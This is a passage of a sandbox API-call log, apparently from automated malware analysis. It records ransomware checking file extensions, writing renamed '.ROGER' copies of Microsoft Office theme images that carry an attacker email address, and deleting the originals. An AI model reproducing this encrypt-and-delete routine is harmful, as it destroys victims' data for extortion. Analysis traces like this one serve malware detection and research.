(lpString=".xls") returned 4 [0047.124] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString=".xlsx") returned 5 [0047.124] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0047.124] lstrlenW (lpString=".ppt") returned 4 [0047.124] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.124] lstrlenW (lpString=".zip") returned 4 [0047.124] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.124] lstrlenW (lpString=".rar") returned 4 [0047.124] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString=".bz2") returned 4 [0047.124] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.124] lstrlenW (lpString=".7z") returned 3 [0047.124] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.125] lstrlenW (lpString=".dbf") returned 4 [0047.125] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.125] lstrlenW (lpString=".1cd") returned 4 [0047.125] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0047.125] lstrlenW (lpString=".jpg") returned 4 [0047.125] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.125] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.125] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.438] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=19780) returned 1 [0047.438] CloseHandle (hObject=0x3e4) returned 1 [0047.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0047.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.458] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.458] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.458] GetLastError () returned 0x0 [0047.458] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0047.461] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0047.462] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.462] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.462] SetEndOfFile (hFile=0x3d8) returned 1 [0047.462] CloseHandle (hObject=0x3d8) returned 1 [0047.462] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.463] SetEndOfFile (hFile=0x3e4) returned 1 [0047.463] CloseHandle (hObject=0x3e4) returned 1 [0047.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.464] lstrlenW (lpString=".doc") returned 4 [0047.464] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.464] lstrlenW (lpString=".docx") returned 5 [0047.464] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.464] lstrlenW (lpString=".pdf") returned 4 [0047.464] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.464] lstrlenW (lpString=".xls") returned 4 [0047.464] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.464] lstrlenW (lpString=".xlsx") returned 5 [0047.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.464] lstrlenW (lpString=".ppt") returned 4 [0047.464] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.464] lstrlenW (lpString=".zip") returned 4 [0047.464] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.464] lstrlenW (lpString=".rar") returned 4 [0047.464] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.464] lstrlenW (lpString=".bz2") returned 4 [0047.464] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.464] lstrlenW (lpString=".7z") returned 3 [0047.464] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString=".dbf") returned 4 [0047.465] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString=".1cd") returned 4 [0047.465] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString=".jpg") returned 4 [0047.465] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString=".doc") returned 4 [0047.465] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString=".docx") returned 5 [0047.465] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.465] lstrlenW (lpString=".pdf") returned 4 [0047.465] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString=".xls") returned 4 [0047.465] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.465] lstrlenW (lpString=".xlsx") returned 5 [0047.465] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.465] lstrlenW (lpString=".ppt") returned 4 [0047.465] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.465] lstrlenW (lpString=".zip") returned 4 [0047.465] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.465] lstrlenW (lpString=".rar") returned 4 [0047.465] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.465] lstrlenW (lpString=".bz2") returned 4 [0047.465] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.465] lstrlenW (lpString=".7z") returned 3 [0047.465] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.466] lstrlenW (lpString=".dbf") returned 4 [0047.466] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.466] lstrlenW (lpString=".1cd") returned 4 [0047.466] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0047.466] lstrlenW (lpString=".jpg") returned 4 [0047.466] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.466] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.466] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.466] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2722) returned 1 [0047.466] CloseHandle (hObject=0x3e4) returned 1 [0047.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0047.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.467] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.467] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.469] GetLastError () returned 0x0 [0047.469] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0047.470] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0047.471] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.471] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.471] SetEndOfFile (hFile=0x3d8) returned 1 [0047.471] CloseHandle (hObject=0x3d8) returned 1 [0047.471] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.471] SetEndOfFile (hFile=0x3e4) returned 1 [0047.472] CloseHandle (hObject=0x3e4) returned 1 [0047.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0047.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.473] lstrlenW (lpString=".doc") returned 4 [0047.473] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.473] lstrlenW (lpString=".docx") returned 5 [0047.473] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.473] lstrlenW (lpString=".pdf") returned 4 [0047.473] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.473] lstrlenW (lpString=".xls") returned 4 [0047.473] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.473] lstrlenW (lpString=".xlsx") returned 5 [0047.473] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.473] lstrlenW (lpString=".ppt") returned 4 [0047.473] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.473] lstrlenW (lpString=".zip") returned 4 [0047.473] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.473] lstrlenW (lpString=".rar") returned 4 [0047.473] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.473] lstrlenW (lpString=".bz2") returned 4 [0047.473] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.473] lstrlenW (lpString=".7z") returned 3 [0047.473] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.473] lstrlenW (lpString=".dbf") returned 4 [0047.473] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.473] lstrlenW (lpString=".1cd") returned 4 [0047.473] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.474] lstrlenW (lpString=".jpg") returned 4 [0047.474] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.474] lstrlenW (lpString=".doc") returned 4 [0047.474] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.474] lstrlenW (lpString=".docx") returned 5 [0047.474] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.474] lstrlenW (lpString=".pdf") returned 4 [0047.474] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString=".xls") returned 4 [0047.474] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString=".xlsx") returned 5 [0047.474] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.474] lstrlenW (lpString=".ppt") returned 4 [0047.474] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.474] lstrlenW (lpString=".zip") returned 4 [0047.474] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString=".rar") returned 4 [0047.474] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.474] lstrlenW (lpString=".bz2") returned 4 [0047.474] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.474] lstrlenW (lpString=".7z") returned 3 [0047.474] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.474] lstrlenW (lpString=".dbf") returned 4 [0047.474] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.475] lstrlenW (lpString=".1cd") returned 4 [0047.475] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0047.475] lstrlenW (lpString=".jpg") returned 4 [0047.475] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.475] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.475] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.476] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=43276) returned 1 [0047.476] CloseHandle (hObject=0x3e4) returned 1 [0047.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0047.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.476] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.476] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0047.477] GetLastError () returned 0x0 [0047.477] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0047.479] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0047.480] ReadFile (in: hFile=0x3e4, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.480] WriteFile (in: hFile=0x3d8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.480] SetEndOfFile (hFile=0x3d8) returned 1 [0047.481] CloseHandle (hObject=0x3d8) returned 1 [0047.481] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.481] SetEndOfFile (hFile=0x3e4) returned 1 [0047.482] CloseHandle (hObject=0x3e4) returned 1 [0047.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.482] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0047.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.482] lstrlenW (lpString=".doc") returned 4 [0047.482] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.482] lstrlenW (lpString=".docx") returned 5 [0047.482] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.482] lstrlenW (lpString=".pdf") returned 4 [0047.482] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.482] lstrlenW (lpString=".xls") returned 4 [0047.482] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.483] lstrlenW (lpString=".xlsx") returned 5 [0047.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.483] lstrlenW (lpString=".ppt") returned 4 [0047.483] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString=".zip") returned 4 [0047.483] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.483] lstrlenW (lpString=".rar") returned 4 [0047.483] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.483] lstrlenW (lpString=".bz2") returned 4 [0047.483] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString=".7z") returned 3 [0047.483] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString=".dbf") returned 4 [0047.483] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString=".1cd") returned 4 [0047.483] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString=".jpg") returned 4 [0047.483] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0047.483] lstrlenW (lpString=".doc") returned 4 [0047.483] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.483] lstrlenW (lpString=".docx") returned 5 